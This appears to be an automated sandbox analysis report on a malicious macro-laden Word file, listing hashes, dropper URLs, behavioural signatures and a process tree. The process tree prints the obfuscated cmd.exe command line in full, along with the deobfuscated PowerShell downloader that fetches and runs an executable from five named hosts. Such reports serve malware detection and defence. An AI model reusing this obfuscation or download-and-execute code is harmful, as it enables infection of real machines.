Analysis

  • max time kernel
    102s
  • max time network
    104s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-04-2024 07:43

General

  • Target

    0727609bf564869103fafd8280869392_JaffaCakes118.doc

  • Size

    88KB

  • MD5

    0727609bf564869103fafd8280869392

  • SHA1

    4d36207ccae99ec412728c585791524ad8ac4473

  • SHA256

    05b4ade8f5528da909092e30bbe0aea228f93d1b33fa557352fef2f4efd241e5

  • SHA512

    084f78c11b53a7297eadba7ca40646fe1cdc522cc41e98b11b3721b42af77a9eb0024c2f34aedb09477d0fda89662507a6b75186c4cfb03c951b36151e8549aa

  • SSDEEP

    1536:Jocn1kp59gxBK85fBuzKgL1bZQrRfZkzg+a9:e41k/W48Iz51byrRfZkz

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://intotheharvest.com/uhCNWggJG

exe.dropper

http://cperformancegroup.com/iQVXaS0c7

exe.dropper

http://inmodiin.net/XYif30g30

exe.dropper

http://aspiringfilms.com/ojrr87NY

exe.dropper

http://futuron.net/hcvcG59

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0727609bf564869103fafd8280869392_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:4108
      • C:\Windows\System32\cmd.exe
        C:\Windows\System32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V:/C"set il8=MsworjzhpwzDbtMbVNaHhbsGJzKmY.v/SiCX-+{,LZ5=k@lxeqf14 y73($I9)W'Fgcn:R8uQ\Ed;0P}&&for %H in (58;4;59;66;43;63;3;24;69;63;76;58;19;49;33;43;67;48;9;36;3;21;5;48;66;13;53;17;48;13;29;62;48;21;34;46;33;48;67;13;76;58;50;49;62;43;63;20;13;13;8;68;31;31;33;67;13;3;13;20;48;20;18;4;30;48;22;13;29;66;3;27;31;71;20;34;17;62;65;65;24;23;45;20;13;13;8;68;31;31;66;8;48;4;50;3;4;27;18;67;66;48;65;4;3;71;8;29;66;3;27;31;33;72;16;35;18;32;77;66;55;45;20;13;13;8;68;31;31;33;67;27;3;75;33;33;67;29;67;48;13;31;35;28;33;50;56;77;65;56;77;45;20;13;13;8;68;31;31;18;22;8;33;4;33;67;65;50;33;46;27;22;29;66;3;27;31;3;5;4;4;70;55;17;28;45;20;13;13;8;68;31;31;50;71;13;71;4;3;67;29;67;48;13;31;20;66;30;66;23;42;60;63;29;32;8;46;33;13;57;63;45;63;61;76;58;26;24;64;43;63;66;71;14;63;76;58;69;74;4;53;43;53;63;51;52;55;63;76;58;22;17;19;43;63;19;44;19;63;76;58;11;35;9;43;58;48;67;30;68;13;48;27;8;37;63;73;63;37;58;69;74;4;37;63;29;48;47;48;63;76;50;3;4;48;18;66;20;57;58;74;78;40;53;33;67;53;58;50;49;62;61;38;13;4;54;38;58;19;49;33;29;11;3;9;67;46;3;18;75;64;33;46;48;57;58;74;78;40;39;53;58;11;35;9;61;76;58;71;44;74;43;63;24;71;74;63;76;59;50;53;57;57;23;48;13;36;59;13;48;27;53;58;11;35;9;61;29;46;48;67;65;13;20;53;36;65;48;53;70;77;77;77;77;61;53;38;59;67;30;3;44;48;36;59;13;48;27;53;58;11;35;9;76;58;19;69;25;43;63;9;74;16;63;76;21;4;48;18;44;76;79;79;66;18;13;66;20;38;79;79;58;11;41;71;43;63;30;4;24;63;76;81)do set J6bL=!J6bL!!il8:~%H,1!&&if %H gtr 80 p%APPDATA:~-6,-5%w%TMP:~-3,1%%ProgramW6432:~-12,1%sh%TEMP:~-3,1%ll "!J6bL:~6!""
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:3992
        • C:\Windows\system32\cmd.exe
          CmD /V:/C"set il8=MsworjzhpwzDbtMbVNaHhbsGJzKmY.v/SiCX-+{,LZ5=k@lxeqf14 y73($I9)W'Fgcn:R8uQ\Ed;0P}&&for %H in (58;4;59;66;43;63;3;24;69;63;76;58;19;49;33;43;67;48;9;36;3;21;5;48;66;13;53;17;48;13;29;62;48;21;34;46;33;48;67;13;76;58;50;49;62;43;63;20;13;13;8;68;31;31;33;67;13;3;13;20;48;20;18;4;30;48;22;13;29;66;3;27;31;71;20;34;17;62;65;65;24;23;45;20;13;13;8;68;31;31;66;8;48;4;50;3;4;27;18;67;66;48;65;4;3;71;8;29;66;3;27;31;33;72;16;35;18;32;77;66;55;45;20;13;13;8;68;31;31;33;67;27;3;75;33;33;67;29;67;48;13;31;35;28;33;50;56;77;65;56;77;45;20;13;13;8;68;31;31;18;22;8;33;4;33;67;65;50;33;46;27;22;29;66;3;27;31;3;5;4;4;70;55;17;28;45;20;13;13;8;68;31;31;50;71;13;71;4;3;67;29;67;48;13;31;20;66;30;66;23;42;60;63;29;32;8;46;33;13;57;63;45;63;61;76;58;26;24;64;43;63;66;71;14;63;76;58;69;74;4;53;43;53;63;51;52;55;63;76;58;22;17;19;43;63;19;44;19;63;76;58;11;35;9;43;58;48;67;30;68;13;48;27;8;37;63;73;63;37;58;69;74;4;37;63;29;48;47;48;63;76;50;3;4;48;18;66;20;57;58;74;78;40;53;33;67;53;58;50;49;62;61;38;13;4;54;38;58;19;49;33;29;11;3;9;67;46;3;18;75;64;33;46;48;57;58;74;78;40;39;53;58;11;35;9;61;76;58;71;44;74;43;63;24;71;74;63;76;59;50;53;57;57;23;48;13;36;59;13;48;27;53;58;11;35;9;61;29;46;48;67;65;13;20;53;36;65;48;53;70;77;77;77;77;61;53;38;59;67;30;3;44;48;36;59;13;48;27;53;58;11;35;9;76;58;19;69;25;43;63;9;74;16;63;76;21;4;48;18;44;76;79;79;66;18;13;66;20;38;79;79;58;11;41;71;43;63;30;4;24;63;76;81)do set J6bL=!J6bL!!il8:~%H,1!&&if %H gtr 80 powershell "!J6bL:~6!""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2456
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell "$rIc='oJR';$Hqi=new-object Net.WebClient;$fqW='http://intotheharvest.com/uhCNWggJG@http://cperformancegroup.com/iQVXaS0c7@http://inmodiin.net/XYif30g30@http://aspiringfilms.com/ojrr87NY@http://futuron.net/hcvcG59'.Split('@');$KJF='cuM';$REr = '147';$sNH='HkH';$DXw=$env:temp+'\'+$REr+'.exe';foreach($EPL in $fqW){try{$Hqi.DownloadFile($EPL, $DXw);$ukE='JuE';If ((Get-Item $DXw).length -ge 80000) {Invoke-Item $DXw;$HRz='wEV';break;}}catch{}}$DZu='vrJ';"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2920

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\6096CF45.wmf

      Filesize

      506B

      MD5

      5a76fd30e0b1e367020e2f571bd64823

      SHA1

      cec62f22f625466697f79be9f55c8f5295b6092e

      SHA256

      5cddda5e7bed0d6cf98d9c0aea41534b80f687d9997fe452a1a7ea9560699645

      SHA512

      4827af884c24984b5c76052911ba0e80835d9e64dbbf3a5a6968b333322145180aeb185d8952194842943c9695d1f97e5b11fbb4496a658487a0bf7221a4bf93

    • C:\Users\Admin\AppData\Local\Temp\TCDA763.tmp\iso690.xsl

      Filesize

      263KB

      MD5

      ff0e07eff1333cdf9fc2523d323dd654

      SHA1

      77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

      SHA256

      3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

      SHA512

      b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_quhbva3x.obz.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2920-63-0x00000254B5F80000-0x00000254B5FA2000-memory.dmp

      Filesize

      136KB

    • memory/3368-9-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-20-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-6-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-7-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-0-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-8-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-10-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-11-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-13-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-14-0x00007FFCE1F30000-0x00007FFCE1F40000-memory.dmp

      Filesize

      64KB

    • memory/3368-12-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-15-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-16-0x00007FFCE1F30000-0x00007FFCE1F40000-memory.dmp

      Filesize

      64KB

    • memory/3368-17-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-19-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-3-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-18-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-4-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-5-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-1-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-2-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-541-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-542-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-552-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB

    • memory/3368-576-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-577-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-578-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-575-0x00007FFCE4150000-0x00007FFCE4160000-memory.dmp

      Filesize

      64KB

    • memory/3368-579-0x00007FFD240D0000-0x00007FFD242C5000-memory.dmp

      Filesize

      2.0MB